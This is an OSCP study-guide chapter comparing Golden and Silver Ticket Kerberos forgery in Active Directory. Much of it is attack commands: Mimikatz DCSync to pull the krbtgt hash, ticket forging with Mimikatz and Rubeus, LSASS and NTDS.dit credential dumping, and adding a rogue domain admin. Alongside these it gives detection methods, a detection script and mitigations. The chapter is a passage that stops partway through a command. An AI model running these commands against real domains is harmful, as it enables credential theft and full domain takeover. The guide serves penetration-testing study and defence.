Domain 6Active Directory AttacksCORE

Golden vs Silver Ticket

Detailed comparison and deep dive into Golden Tickets (forged TGTs using krbtgt hash) and Silver Tickets (forged TGS tickets using service account hash). Covers differences, prerequisites, exploitation, detection, mitigation, and decision flowchart for choosing the right attack.

Domain: Domain 6: Active Directory Exploitation•Updated: 2026-09-01
#Gold Ticket#Silver Ticket#TGT Forgery#TGS Forgery#Kerberos Tickets#krbtgt

Golden vs Silver Ticket

OSCP Study Guide | Chapter 18 | Domain: Active Directory Authentication

This topic provides an in-depth comparison of Golden Tickets and Silver Tickets — two of the most powerful Kerberos-based attacks in Active Directory. Both involve forging Kerberos tickets offline, but they differ fundamentally in what they forge, what hash they need, and the scope of access they grant.


Table of Contents

  1. Core Concepts: What Are Forged Tickets?
  2. The krbtgt Account: The Crown Jewel
  3. Golden Ticket: Deep Dive
  4. Silver Ticket: Deep Dive
  5. Fundamental Differences: Why TGT vs TGS Matters
  6. Comprehensive Comparison Tables
  7. Gathering Required Information
  8. Decision Flowchart
  9. Detection Strategies
  10. Mitigation in Depth
  11. OSCP Exam Relevance
  12. Lab Practice Suggestions
  13. Common Pitfalls and Troubleshooting
  14. Quick Reference Card

1. Core Concepts: What Are Forged Tickets?

1.1 The Kerberos Trust Model

Before understanding forged tickets, you must understand the Kerberos trust chain:

graph TB
    subgraph KerberosTrust["Kerberos Trust Chain"]
        USER["User/Client"]
        TGT["TGT<br/>(Ticket Granting Ticket)"]
        TGS_TICKET["TGS Ticket<br/>(Service Ticket)"]
        SERVICE["Target Service<br/>(CIFS, HTTP, MSSQL, etc.)"]

        USER -->|Proves identity to KDC| TGT
        TGT -->|Proves identity to KDC| TGS_TICKET
        TGS_TICKET -->|Proves identity to Service| SERVICE
    end

    subgraph Encryption
        E1["TGT encrypted with<br/>krbtgt account hash"]
        E2["TGS encrypted with<br/>service account hash"]
    end

    TGT --- E1
    TGS_TICKET --- E2

The trust chain works like this:

  1. TGT (Ticket Granting Ticket): Issued by the KDC’s Authentication Service (AS). Encrypted with the krbtgt account’s NTLM hash. The TGT proves “the KDC has verified this user’s identity.”

  2. TGS (Ticket Granting Service) Ticket / Service Ticket: Issued by the KDC’s Ticket Granting Service (TGS) when the user presents a valid TGT. Encrypted with the target service account’s NTLM hash. The TGS ticket proves “the KDC has verified this user can access this specific service.”

1.2 What Does “Forging” Mean?

Forging a ticket means creating a valid Kerberos ticket locally, without contacting the KDC. The attacker:

  1. Knows the secret key used to encrypt the ticket (an NTLM hash)
  2. Constructs the ticket with desired fields (username, groups, lifetime, etc.)
  3. Encrypts the ticket with that key
  4. Injects the forged ticket into their session
  5. Presents it to services, which decrypt and accept it as legitimate

The critical insight: Kerberos services trust the encryption, not the issuer. If a ticket is properly encrypted with the correct key, the target service has no way to know whether the KDC issued it or an attacker forged it.

1.3 Golden vs Silver: The Core Distinction

Aspect Golden Ticket Silver Ticket
Forges A TGT (Ticket Granting Ticket) A TGS/Service Ticket
Needs hash of krbtgt account A service account (e.g., the account running IIS, MSSQL, CIFS)
Scope Access to ANY service in the domain Access to ONE specific service only
Analogy Forging a master key that opens every door Forging a key card for one specific door

2. The krbtgt Account: The Crown Jewel

2.1 What Is krbtgt?

The krbtgt (Kerberos Target) account is a special built-in account in every Active Directory domain. It is:

  • RID 502 (relative identifier, always the same in every domain)
  • Never logged in interactively — it has no human user behind it
  • Its NTLM hash is the encryption key for ALL TGTs in the domain
  • Cannot be disabled, deleted, or renamed
  • Its password is auto-generated at domain creation and is extremely long and random

2.2 Why Is the krbtgt Hash So Critical?

graph LR
    subgraph Domain["Active Directory Domain"]
        K["krbtgt hash"]
        T1["TGT for User A"]
        T2["TGT for User B"]
        T3["TGT for User C"]
        T4["TGT for Admin"]
    end

    K -->|Encrypts| T1
    K -->|Encrypts| T2
    K -->|Encrypts| T3
    K -->|Encrypts| T4

    style K fill:#ff0000,stroke:#000,color:#fff

The krbtgt hash is the root of trust for Kerberos in the entire domain. Every single TGT ever issued by the KDC is encrypted with this hash. If an attacker obtains the krbtgt hash, they can:

  • Forge a TGT for any user in the domain (even the Administrator)
  • Add any group membership to the forged TGT’s PAC
  • Set the ticket lifetime to up to 10 years (maximum Kerberos allows)
  • Access every service in the domain without ever touching the KDC

This is why obtaining the krbtgt hash is considered equivalent to full domain compromise.

2.3 How Do Attackers Obtain the krbtgt Hash?

Method Description Prerequisites
DCSync Replicate the krbtgt account’s password hash from a Domain Controller DA privileges or DC privileges (e.g., via DS-Replication-Get-Changes)
DC Compromise Dump the NTDS.DIT database directly from a compromised DC Local admin on DC, or ability to run processes as SYSTEM on DC
LSASS Dump on DC Extract krbtgt hash from LSASS memory on a DC Local admin on DC
Volume Shadow Copy Copy NTDS.DIT from a shadow copy on a DC Local admin on DC, vssadmin access
Ntdsutil Use ntdsutil to export the AD database Local admin on DC

On OSCP exams, DCSync via Mimikatz is the most common path to obtaining the krbtgt hash.

# The classic DCSync command to extract krbtgt hash
lsadump::dcsync /user:krbtgt /domain:TARGETDOMAIN.local

# Output example:
# [*] Level   [SID]
# [*] 10.10.10.10 - TARGETDOMAIN.local
#
# [*] Building initial list
#
# [*] LAPS-DNS found, but no DC is vulnerable
#
# [*] Target NTDS.DIT users:
#
# [-] No primary users
#
# [*] Target built-in account: krbtgt
#
# [*] samAccountType: 805306369
# [*] samAccountName: krbtgt
# [*] userPrincipalName:
# [*] dnsHostName:
# [*] servicePrincipalName:
#
# [*] Requesting secrets with the DS_DIRECTORY_REPLICATION method
#
# [*] samAccountType: 805306369
# [*] samAccountName: krbtgt
#
# [0000001a] NTLM: a69d40cb90cb74842c43d0dfb0578e2e
# [0000001a] NTLM: 7c86836265303889335b0f04f3d8d3bf

Note: The krbtgt account typically has two NTLM hashes (the current and the previous). This is because the krbtgt password is rotated (see Mitigation section). Either hash can be used to forge a Golden Ticket — the newer hash for fresh tickets, the older hash for tickets that were issued before the rotation.


3. Golden Ticket: Deep Dive

3.1 What Is a Golden Ticket?

A Golden Ticket is a forged TGT (Ticket Granting Ticket) created by an attacker who possesses the krbtgt account’s NTLM hash. Because TGTs are encrypted with the krbtgt hash, having this hash allows the attacker to create a perfectly valid TGT — one that any Kerberos service in the domain will accept.

3.2 Why Is It Called “Golden”?

The name comes from the ultimate value of this attack:

  • Gold = the most valuable, the ultimate prize
  • A Golden Ticket gives you unrestricted access to every service in the domain
  • It is the nuclear option of Kerberos attacks

3.3 Prerequisites

Requirement How to Obtain Notes
krbtgt NTLM hash DCSync, DC compromise, LSASS dump The single most critical requirement
Domain SID whoami /user on any domain-joined machine, or from AD enumeration Format: S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx
Domain name Already known from enumeration Must be the NetBIOS name (e.g., CORP not corp.local) for Mimikatz
Target username Any valid username (or a fake one) Commonly set to Administrator or $ (hidden)
User RID 500 for Administrator, or any valid RID Controls the forged user’s identity

3.4 Complete Exploitation with Mimikatz

Step 1: Gather Required Information

# Get Domain SID
whoami /user

# Example output:
# USER INFORMATION
# ----------------
# User Name           SID
# =================== =================================================
# corp\administrator  S-1-5-21-2127991767-3019391844-536704684-500
#                        ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#                        This is the Domain SID (everything before the last -xxx)

# Get krbtgt hash via DCSync
lsadump::dcsync /user:krbtgt /domain:corp.local

Step 2: Build the Golden Ticket Command

kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-2127991767-3019391844-536704684 \
    /rc4:a69d40cb90cb74842c43d0dfb0578e2e /krbtgt \
    /id:500 /groups:512,513,518,519,520,521,526 \
    /startoffset:0 /endin:600 /renewmax:10080 /ptt

Parameter Breakdown

Parameter Value Purpose
/user: Administrator The username the ticket will impersonate. Can be any name — even one that doesn’t exist in AD.
/domain: corp.local The domain name. Use the NetBIOS name (short name) for Mimikatz.
/sid: S-1-5-21-... The domain SID. Must be exact.
/rc4: <krbtgt_ntlm_hash> The NTLM hash of the krbtgt account. This is the encryption key.
/krbtgt (flag) Tells Mimikatz this is a TGT forgery (Golden Ticket), not a TGS forgery.
/id: 500 The RID of the forged user. 500 = Administrator.
/groups: 512,513,518,... Group RIDs to include in the PAC. See group table below.
/startoffset: 0 How many minutes in the past the ticket becomes valid. 0 = now. Set to negative value to backdate.
/endin: 600 Ticket lifetime in minutes. 600 = 10 hours. Max useful value: 10080 (1 week).
/renewmax: 10080 Maximum renewable lifetime in minutes. 10080 = 1 week. Can go up to 525600 (1 year) or even 10 years.
/ptt (flag) Pass the Ticket — inject the forged ticket directly into the current session. Without this, the ticket is created but not used.

Important Group RIDs

RID Group Name Purpose
512 Domain Admins Full domain administration
513 Domain Users Standard domain user (always include)
518 Enterprise Admins Forest-wide administration (if in a multi-domain forest)
519 Schema Admins Can modify AD schema
520 Group Policy Creator Owners Can create and link GPOs
521 Enterprise Domain Controllers Enterprise-level DC group
526 Key Admins Can manage KDS root keys

Step 3: Verify the Ticket

# Check that the ticket was injected
klist

# Expected output shows a TGT for krbtgt with your forged user
# Look for:
# - Client: Administrator @ CORP.LOCAL
# - Server: krbtgt @ CORP.LOCAL
# - The ticket should show the lifetime you specified

# Alternative verification
klist tickets

Step 4: Access Resources

# Access any share in the domain
dir \\dc01.corp.local\C$
dir \\fileserver.corp.local\Shared

# Access any service
Enter-PSSession -ComputerName dc01.corp.local

# DCSync (since you now have DA-level access)
lsadump::dcsync /user:corp\Administrator /domain:corp.local

# Add a new domain admin
net user eviladmin Password123! /add /domain
net group "Domain Admins" eviladmin /add /domain

3.5 Complete Exploitation with Rubeus

# Method 1: Create and inject Golden Ticket
Rubeus.exe golden /user:Administrator /rc4:a69d40cb90cb74842c43d0dfb0578e2e \
    /sid:S-1-5-21-2127991767-3019391844-536704684 \
    /domain:corp.local /ptt

# Method 2: Create Golden Ticket and save to file
Rubeus.exe golden /user:Administrator /rc4:a69d40cb90cb74842c43d0dfb0578e2e \
    /sid:S-1-5-21-2127991767-3019391844-536704684 \
    /domain:corp.local /ticket:gold.kirbi

# Then inject later
Rubeus.exe ptt /ticket:gold.kirbi

3.6 Golden Ticket with AES Encryption

Modern domains may enforce AES encryption. Mimikatz supports AES128 and AES256:

# AES256 Golden Ticket (requires the AES256 key of krbtgt, not the RC4/NTLM hash)
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... \
    /aes256:<krbtgt_aes256_key> /krbtgt /ptt

# AES128 Golden Ticket
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-... \
    /aes128:<krbtgt_aes128_key> /krbtgt /ptt

Note: On OSCP exams, RC4 (NTLM hash) is most commonly used. AES keys are harder to obtain and less frequently tested.

3.7 Advanced: Hidden Golden Ticket

You can create a Golden Ticket for a user that does not exist in AD:

# Create ticket for a non-existent user (name starts with $ to hide in some listings)
kerberos::golden /user:$admin /domain:corp.local /sid:S-1-5-21-... \
    /rc4:a69d40cb90cb74842c43d0dfb0578e2e /krbtgt /id:500 /ptt

This is useful for persistence — the ticket works even if the security team is monitoring for the Administrator account specifically.


4. Silver Ticket: Deep Dive

4.1 What Is a Silver Ticket?

A Silver Ticket is a forged TGS (service) ticket created by an attacker who possesses the NTLM hash of a service account (not krbtgt). Because TGS tickets are encrypted with the target service account’s hash, having this hash allows the attacker to create a valid service ticket for that specific service.

4.2 Why Is It Called “Silver”?

The name reflects its secondary value compared to Gold:

  • Silver = valuable, but not the ultimate prize
  • A Silver Ticket grants access to only one specific service
  • It is more targeted and stealthy than a Golden Ticket

4.3 When Would You Use a Silver Ticket?

Scenario Why Silver Ticket?
You have a service account hash but NOT krbtgt You can’t forge a TGT, but you can forge a TGS for that service
You want to avoid Golden Ticket detection Silver Tickets are less suspicious (targeted access vs. domain-wide)
You only need access to one service No need for the broader (and riskier) Golden Ticket
The service account has local admin on a critical server Silver Ticket to CIFS gives you file access; combined with local admin, full server control
You want to maintain persistence without rotating krbtgt Changing service account passwords is less disruptive than rotating krbtgt

4.4 Prerequisites

Requirement How to Obtain Notes
Service account NTLM hash LSASS dump on the server running the service, credential dumping, or other means Must be the hash of the account running the target service
Domain SID whoami /user or AD enumeration Same as Golden Ticket
Target SPN Enumerate via setspn -Q */<hostname> or AD queries Format: service/hostname.domain.com
Target hostname Known from enumeration The FQDN of the server running the service
Service name cifs, host, HTTP, MSSQLSvc, etc. The service class in the SPN

4.5 Complete Exploitation with Mimikatz

Step 1: Identify the Target Service and Its Account

# On the target server, find which account runs the service
# Method 1: Check services
Get-Service | Where-Object {$_.Status -eq 'Running'}

# Method 2: Check process list
tasklist /V /FI "USERNAME ne NT AUTHORITY\*"

# Method 3: Query SPNs
setspn -Q */fileserver.corp.local

# Example output:
# Registered ServicePrincipalNames for CN=FILESRV,OU=Servers,DC=corp,DC=local:
#   cifs/fileserver.corp.local
#   cifs/fileserver
#   host/fileserver.corp.local
#   host/fileserver

Step 2: Obtain the Service Account Hash

# If you have admin access to the server running the service, dump LSASS
sekurlsa::logonpasswords

# Look for the service account's NTLM hash in the output
# Example:
# * Username      : corp\svc_fileserver
# * Domain        : corp
# * NTLM          : d82b9bf14b9d4df775318458c489782d
# * SHA1          : ...

Step 3: Build the Silver Ticket Command

kerberos::golden /sid:S-1-5-21-2127991767-3019391844-536704684 \
    /rc4:d82b9bf14b9d4df775318458c489782d \
    /target:fileserver.corp.local \
    /service:cifs \
    /user:attacker \
    /domain:corp.local \
    /ptt

Important: Note that Mimikatz uses the kerberos::golden command for both Golden and Silver Tickets. The difference is in the parameters:

  • Golden Ticket: Uses /krbtgt flag and the krbtgt hash
  • Silver Ticket: Uses /target: and /service: flags and a service account hash (NO /krbtgt flag)

Parameter Breakdown (Silver Ticket Specific)

Parameter Value Purpose
/sid: S-1-5-21-... Domain SID (same as Golden Ticket)
/rc4: <service_account_ntlm_hash> The NTLM hash of the service account (NOT krbtgt)
/target: fileserver.corp.local The FQDN of the target server
/service: cifs The service class (cifs, HTTP, MSSQLSvc, host, etc.)
/user: attacker The username to impersonate (can be any name)
/domain: corp.local The domain name
/ptt (flag) Inject ticket into current session

Step 4: Verify and Use

# Verify the ticket
klist

# You should see a TGS ticket for cifs/fileserver.corp.local
# NOT a TGT — this is the key difference from Golden Ticket

# Access the target service
dir \\fileserver.corp.local\C$

# This works! But trying to access another service will fail:
dir \\dc01.corp.local\C$
# Access is denied — Silver Ticket only works for the specific service

4.6 Silver Ticket for Different Services

Service Service Name Example Target Use Case
SMB/File Share cifs fileserver.corp.local Access file shares, admin shares (C$, ADMIN$)
RDP RestrictedKrbHost or host jumpserver.corp.local Remote Desktop access
IIS/HTTP HTTP webapp.corp.local Web application access
MSSQL MSSQLSvc sql.corp.local:1433 Database access
LDAP LDAP dc01.corp.local Directory queries
WMI host server.corp.local WMI remote management
# Silver Ticket for MSSQL
kerberos::golden /sid:S-1-5-21-... /rc4:<mssql_svc_hash> \
    /target:sql.corp.local /service:MSSQLSvc /user:attacker \
    /domain:corp.local /ptt

# Silver Ticket for HTTP (IIS)
kerberos::golden /sid:S-1-5-21-... /rc4:<iis_svc_hash> \
    /target:webapp.corp.local /service:HTTP /user:attacker \
    /domain:corp.local /ptt

# Silver Ticket for host (WMI/WinRM)
kerberos::golden /sid:S-1-5-21-... /rc4:<host_svc_hash> \
    /target:server.corp.local /service:host /user:attacker \
    /domain:corp.local /ptt

4.7 Complete Exploitation with Rubeus

# Create Silver Ticket with Rubeus
Rubeus.exe tgs /rc4:d82b9bf14b9d4df775318458c489782d \
    /service:cifs /target:fileserver.corp.local \
    /domain:corp.local /user:attacker /ptt

# Or create and save to file
Rubeus.exe tgs /rc4:d82b9bf14b9d4df775318458c489782d \
    /service:cifs /target:fileserver.corp.local \
    /domain:corp.local /user:attacker /ticket:silver.kirbi

4.8 Silver Ticket: No KDC Interaction

A critical property of Silver Tickets: they never touch the KDC.

sequenceDiagram
    participant Attacker
    participant KDC
    participant Service

    Note over Attacker: 1. Attacker has service account hash
    Note over Attacker: 2. Forges TGS ticket locally<br/>(no KDC contact needed)
    Attacker->>Service: 3. Presents forged TGS directly to service
    Service-->>Attacker: 4. Service decrypts with its own hash<br/>and grants access
    Note over KDC: KDC is NEVER contacted<br/>No Event 4769 generated

This means:

  • No KDC logs will show the ticket being created
  • The target service will log the authentication (Event 4624), but it looks like a normal Kerberos logon
  • The service has no way to verify the ticket came from the KDC — it only checks the encryption

5. Fundamental Differences: Why TGT vs TGS Matters

5.1 The Kerberos Ticket Hierarchy

graph TD
    subgraph AuthenticationFlow["Kerberos Authentication Flow"]
        A["User authenticates<br/>(password/hash)"] --> B["KDC issues TGT<br/>(encrypted with krbtgt hash)"]
        B --> C["User presents TGT to KDC<br/>+ requests specific service"]
        C --> D["KDC issues TGS/Service Ticket<br/>(encrypted with service account hash)"]
        D --> E["User presents TGS to Service<br/>Service grants access"]
    end

    subgraph AttackVectors["Attack Vectors"]
        G["Golden Ticket<br/>(Forged TGT)"] -.->|Replaces step B| C
        S["Silver Ticket<br/>(Forged TGS)"] -.->|Replaces step D| E
    end

    style G fill:#ffd700,stroke:#000
    style S fill:#c0c0c0,stroke:#000

5.2 Scope of Access

Aspect Golden Ticket (Forged TGT) Silver Ticket (Forged TGS)
Can access CIFS on FileServer? Yes Only if forged for that specific CIFS service
Can access MSSQL on SQLServer? Yes Only if forged for that specific MSSQL service
Can access HTTP on WebServer? Yes Only if forged for that specific HTTP service
Can access LDAP on DC? Yes Only if forged for that specific LDAP service
Can request NEW service tickets? Yes — the forged TGT can be used at the KDC to request legitimate TGS tickets for any service No — it IS the service ticket; no further KDC interaction needed or possible
Can be used to DCSync? Yes (access LDAP on DC as DA) Only if forged for LDAP on the DC

5.3 Detection Difficulty

Detection Aspect Golden Ticket Silver Ticket
KDC Event 4768 (TGT request) Never generated (ticket forged offline) N/A (TGS ticket, not TGT)
KDC Event 4769 (TGS request) May be generated when the forged TGT is used to request service tickets Never generated (ticket forged offline)
Service-side Event 4624 (Logon) Generated — looks like normal Kerberos logon Generated — looks like normal Kerberos logon
Ticket lifetime anomalies Can be set to 10 years — highly suspicious if detected Usually set to normal lifetime (10 hours) — less suspicious
User account existence Can use non-existent usernames Can use non-existent usernames
Overall detectability Hard (but lifetime anomalies help) Very hard (looks like normal service access)

5.4 Operational Security Comparison

OpSec Factor Golden Ticket Silver Ticket
Noise generated High — can trigger alerts if used broadly (accessing many services) Low — targeted, looks like normal service access
Time to detect Longer if used sparingly; shorter if used aggressively Very long — blends in with normal traffic
Forensic footprint Forged TGT visible in klist; ticket lifetime may be anomalous Forged TGS visible in klist; harder to distinguish from legitimate tickets
Best for Full domain takeover, when you already have DC access Targeted access, lateral movement to specific services, persistence

6. Comprehensive Comparison Tables

6.1 Feature Comparison

Feature Golden Ticket Silver Ticket
Ticket Type Forged TGT (Ticket Granting Ticket) Forged TGS (Ticket Granting Service / Service Ticket)
Required Hash krbtgt account NTLM hash Service account NTLM hash
Scope of Access ANY service in the entire domain ONE specific service on ONE specific host
KDC Interaction None for forging; forged TGT can later be used at KDC to request legitimate TGS tickets None at all — fully offline
Mimikatz Command kerberos::golden with /krbtgt flag kerberos::golden with /target: and /service: flags
Rubeus Command Rubeus.exe golden Rubeus.exe tgs
Lifetime Up to 10 years (max Kerberos allows) Configurable; default 10 hours; can be set to any value
Impact Full domain compromise (Domain Admin equivalent) Single service compromise
Required Info Domain SID, krbtgt hash, domain name, target username/RID Domain SID, service hash, target host FQDN, service name, target username
Event Logs Generated No 4768/4769 for ticket creation; 4624 on target services when used No 4769 for ticket creation; 4624 on target service when used
Detection Difficulty Hard (no KDC events); lifetime anomalies may help Very hard (no KDC events; looks like normal service access)
Mitigation Rotate krbtgt password TWICE; tiered admin model Strong service passwords; gMSA; LAPS
Persistence Long-term (ticket can last years) Medium-term (depends on set lifetime)
OpSec Risk Higher (broad access pattern may trigger alerts) Lower (targeted, blends with normal traffic)

6.2 Attack Chain Position

Attack Chain Phase Golden Ticket Silver Ticket
Initial Access Not applicable — requires prior domain compromise Not applicable — requires prior service account compromise
Credential Access Obtains krbtgt hash via DCSync or DC dump Obtains service account hash via LSASS dump or credential theft
Lateral Movement Can move to ANY system in the domain Can only move to the specific service targeted
Privilege Escalation Immediate Domain Admin (if groups set correctly) Depends on the service’s privileges
Defense Evasion High — no KDC events; can use fake usernames Very High — no KDC events; looks like normal access
Impact Complete domain takeover Service-level access

6.3 Required Information Comparison

Information Golden Ticket Silver Ticket How to Gather
Domain SID Required Required whoami /user; Get-ADDomain; nltest /dsgetdc:domain
Domain Name Required Required Known from enumeration; systeminfo; klist
krbtgt NTLM Hash Required Not needed DCSync; NTDS.DIT dump; LSASS dump on DC
Service Account Hash Not needed Required LSASS dump on service server; credential dumping
Target Hostname Not needed Required Known from target selection
Service Name (SPN class) Not needed Required setspn -Q */hostname; AD enumeration
User RID Optional (defaults to attacker) Not needed 500 for Administrator
Group RIDs Optional (but recommended for DA access) Not needed Standard groups: 512, 513, etc.

7. Gathering Required Information

7.1 Getting the Domain SID

# Method 1: whoami (from any domain-joined machine)
whoami /user
# Look for: S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxxx-xxxx
# The domain SID is everything before the last segment

# Method 2: PowerShell
(Get-ADDomain).DomainSID

# Method 3: nltest
nltest /dsgetdc:corp.local

# Method 4: dsquery
dsquery * "DC=corp,DC=local" -scope base -attr objectSid

7.2 Getting the krbtgt Hash

# Method 1: DCSync (requires DA or DC privileges)
lsadump::dcsync /user:krbtgt /domain:corp.local

# Method 2: DCSync for all users (includes krbtgt)
lsadump::dcsync /domain:corp.local /enum

# Method 3: Dump NTDS.DIT (requires local admin on DC)
# Step 1: Create shadow copy
vssadmin create shadow /for=C:
# Step 2: Copy NTDS.DIT
copy <shadow_path>\Windows\NTDS\NTDS.dit C:\temp\NTDS.dit
# Step 3: Extract SYSTEM registry hive
reg save HKLM\SYSTEM C:\temp\SYSTEM
# Step 4: Use secretsdump.py
python3 secretsdump.py -ntds NTDS.dit -system SYSTEM LOCAL

# Method 4: ntdsutil (requires local admin on DC)
ntdsutil
activate instance ntds
ifm
create full C:\temp\ntds
q
q

7.3 Getting a Service Account Hash

# Method 1: LSASS dump on the server running the service
sekurlsa::logonpasswords
# Look for the service account's NTLM hash

# Method 2: Mimikatz full dump
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<hash> /run:"sekurlsa::logonpasswords"

# Method 3: Rubeus
Rubeus.exe triage
Rubeus.exe dump /ticket:<ID>

# Method 4: If you have local admin, use ProcDump + Mimikatz
procdump.exe -ma lsass.exe lsass.dmp
# Transfer the dump and analyze with Mimikatz
!process
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswords

7.4 Getting the Service Name and Target Host

# Method 1: Query SPNs for a specific host
setspn -Q */fileserver.corp.local

# Method 2: List all SPNs in the domain
setspn -T corp.local -Q */*

# Method 3: PowerShell
Get-ADComputer -Identity fileserver -Properties servicePrincipalNames

# Method 4: Find SPNs for a specific service account
setspn -L svc_fileserver

# Common service names:
# cifs        - SMB / File sharing
# host        - WMI / WinRM / RPC
# HTTP        - IIS / Web services
# MSSQLSvc    - SQL Server
# LDAP        - Directory services
# E3514235-4B06-101A-7EB3-1AB0C0EB114E - Kerberos Key Distribution Center

8. Decision Flowchart

graph TD
    A["What hash do you have?"] -->|"krbtgt NTLM hash"| B["Golden Ticket"]
    A -->|"Service account NTLM hash"| C["Silver Ticket"]
    A -->|"Regular user NTLM hash"| D["Pass-the-Hash / Overpass-the-Hash"]
    A -->|"No hash, but DA access"| E["DCSync to get krbtgt hash → Golden Ticket"]
    A -->|"No hash, but local admin on service server"| F["Dump LSASS → get service hash → Silver Ticket"]

    B --> B1["Forge TGT locally"]
    B1 --> B2["Access ANY service in domain"]
    B2 --> B3["Full Domain Compromise ✓"]

    C --> C1["Forge TGS for specific service"]
    C1 --> C2["Access that specific service only"]
    C2 --> C3["Service-Level Access ✓"]

    D --> D1["Authenticate via NTLM or Kerberos"]
    D1 --> D2["User-level access"]
    D2 --> D3["Standard User Access ✓"]

    E --> B
    F --> C

    style B3 fill:#ffd700,stroke:#000,color:#000
    style C3 fill:#c0c0c0,stroke:#000,color:#000
    style D3 fill:#cd7f32,stroke:#000,color:#000

8.1 Decision Matrix

What You Have What You Want Best Attack
krbtgt hash Full domain access Golden Ticket
krbtgt hash Access to one service Golden Ticket (overkill but works)
Service account hash Access to that service Silver Ticket
Service account hash Full domain access Not directly possible; need to escalate first
User NTLM hash Access as that user Pass-the-Hash or Overpass-the-Hash
DA privileges krbtgt hash DCSync → then Golden Ticket
Local admin on service server Service access LSASS dump → Silver Ticket
Local admin on DC Full domain access DCSync → Golden Ticket

9. Detection Strategies

9.1 Golden Ticket Detection

Detection Method What to Look For Event ID / Tool
No KDC events TGT used but no Event 4768 (TGT request) was generated on the DC Missing Event 4768
Ticket lifetime TGT with unusually long lifetime (years instead of hours) klist output; SIEM analysis
Start time anomaly Ticket start time is in the past (backdated) klist output
Non-existent user Authentication from a user account that doesn’t exist in AD Correlate Event 4624 with AD user list
Admin from unusual source Domain Admin activity from an IP/host that never had admin access Event 4672 (special privileges)
PAC validation PAC signed with old krbtgt key after password rotation Event 4769 with failure
Service class 3 Event 4769 with service class 3 (TGT) but no corresponding 4768 Event 4769

Golden Ticket Detection with PowerShell

# Check for tickets with unusual lifetimes
klist | Select-String "End time"

# Check for tickets from non-existent users
$klistOutput = klist
$users = Get-ADUser -Filter * -Properties SamAccountName
foreach ($line in $klistOutput) {
    if ($line -match "Client:") {
        $user = ($line -split "\s+")[1]
        if ($user -and $user -notin $users.SamAccountName) {
            Write-Host "SUSPICIOUS: Ticket for non-existent user: $user"
        }
    }
}

9.2 Silver Ticket Detection

Detection Method What to Look For Event ID / Tool
No KDC events TGS used but no Event 4769 (TGS request) was generated Missing Event 4769
Service-only access User can only access one service, not others Behavioral analysis
Authentication without TGT TGS presented without a corresponding TGT in the session klist analysis
Unusual service access Low-privilege user accessing high-value service Event 4624 correlation
Time-based anomalies Service access at unusual times for that user SIEM behavioral analytics

Critical Challenge: Silver Tickets are extremely difficult to detect because they generate no KDC events and look like normal Kerberos authentication at the service level. The primary defense is prevention (strong service account passwords, gMSA) rather than detection.

9.3 Universal Detection (Both Ticket Types)

Detection Description
Monitor for klist anomalies Scripts that check for tickets with no corresponding KDC events
Baseline normal behavior Establish what normal Kerberos traffic looks like; alert on deviations
Account lockout correlation If a krbtgt rotation causes lockouts or auth failures, investigate
SIEM correlation rules Correlate Event 4624 (logon) with absence of Event 4768/4769 (KDC events)
Network-level monitoring Monitor for Kerberos traffic (port 88) patterns — forged tickets mean less KDC traffic

10. Mitigation in Depth

10.1 Golden Ticket Mitigation

Primary: Rotate krbtgt Password

The most important mitigation for Golden Tickets is rotating the krbtgt password. However, this must be done twice:

Why twice?
├── First rotation:
│   ├── New krbtgt password is set
│   ├── OLD krbtgt hash is still valid (for tickets already issued)
│   ├── NEW krbtgt hash is now active
│   └── Attacker's Golden Ticket (forged with old hash) is STILL valid!
│
└── Second rotation (after at least 10+ hours):
    ├── ALL old TGTs (including attacker's Golden Ticket) have expired
    ├── The old krbtgt hash is now removed from the KDC
    ├── Attacker's Golden Ticket can no longer be validated
    └── ONLY tickets forged with the NEWEST hash will work

Timeline for proper krbtgt rotation:

gantt
    title krbtgt Password Rotation Timeline
    dateFormat  HH:mm
    axisFormat %H:%M

    section Phase 1
    First krbtgt rotation       :00:00, 1h
    Old tickets still valid      :00:00, 10h

    section Phase 2
    Wait for old tickets to expire :10:00, 2h

    section Phase 3
    Second krbtgt rotation     :12:00, 1h
    Attacker's Gold Ticket INVALID :12:01, 1h

Steps:

  1. First rotation: Change the krbtgt password immediately upon discovering compromise

    # Using PowerShell
    $krbtgt = Get-ADUser krbtgt
    $newPassword = ConvertTo-SecureString "ExtremelyLongRandomPassword123!" -AsPlainText -Force
    Set-ADAccountPassword $krbtgt -Reset -NewPassword $newPassword
  2. Wait: At least the maximum TGT lifetime (default 10 hours, but check your domain’s policy). Wait 24+ hours to be safe.

  3. Second rotation: Change the krbtgt password again

    $krbtgt = Get-ADUser krbtgt
    $newPassword2 = ConvertTo-SecureString "AnotherExtremelyLongRandomPassword456!" -AsPlainText -Force
    Set-ADAccountPassword $krbtgt -Reset -NewPassword $newPassword2
  4. After second rotation: Any Golden Ticket forged with the old hash is now invalid.

Additional Golden Ticket Mitigations

Mitigation Description
Tiered Administration Model Implement Tier 0 (DCs), Tier 1 (servers), Tier 2 (workstations). Admins never use Tier 0 credentials on lower tiers.
Privileged Access Workstations (PAWs) Dedicated, hardened machines for admin tasks only.
Kerberos Account Restriction Mode (ARM) Restricts which accounts can be used for Kerberos authentication.
Monitor DC access Alert on any non-admin access to Domain Controllers.
Restrict DCSync rights Ensure only legitimate admins have DS-Replication-Get-Changes rights.
Enable AES encryption Force AES256 for Kerberos; makes RC4-based Golden Tickets less effective.

10.2 Silver Ticket Mitigation

Mitigation Description
Strong service account passwords Use 25+ character random passwords for all service accounts. Makes offline cracking infeasible.
Group Managed Service Accounts (gMSA) gMSAs have auto-rotating 120-character passwords managed by AD. The password is never exposed in plaintext and cannot be easily dumped. This is the BEST mitigation for Silver Tickets.
LAPS (Local Administrator Password Solution) Randomizes local admin passwords on each machine, preventing lateral movement via local admin hashes.
Least privilege for service accounts Service accounts should only have the minimum permissions needed. Never make them domain admins.
Regular password rotation Rotate service account passwords regularly (gMSA does this automatically).
Monitor service account usage Alert on service accounts being used for interactive logons or from unexpected hosts.
Network segmentation Limit which systems can communicate with critical services.

10.3 gMSA: The Best Defense Against Silver Tickets

# Create a gMSA (requires Enterprise CA or Windows Server 2012+)

# Step 1: Create the gMSA account
New-ADServiceAccount -Name svc_webapp -DNSHostName webapp.corp.local `
